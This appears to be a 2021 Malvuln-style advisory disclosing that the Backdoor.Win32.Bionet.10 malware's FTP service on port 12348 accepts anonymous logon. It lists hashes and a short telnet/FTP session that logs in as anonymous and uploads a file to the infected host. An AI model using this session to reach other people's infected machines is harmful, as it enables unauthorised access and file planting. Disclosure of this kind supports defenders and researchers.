Backdoor.Win32.Bionet.10 Anonymous Login

Backdoor.Win32.Bionet.10 malware has an ftp service that allows for anonymous login.

MD5 | 17803aed7636479ba3f6b2e26a546ced

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Bionet.10
Vulnerability: Anonymous Logon
Description: The backdoor listens on TCP port 12348 and allows anonymous logon credentials to be used to access an infected host.
Type: PE32
MD5: be559307f5cd055f123a637b1135c8d3
Vuln ID: MVID-2021-0099
Dropped files:
Disclosure: 02/18/2021

TELNET x.x.x.x 12348

220 BNFTP Server ready.
USER anonymous
331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in.
227 Entering Passive Mode (192,168,1,10,194,160).
STOR 1.js
150 Opening data connection for 1.js.
226 File received ok
227 Entering Passive Mode (192,168,1,10,194,162).

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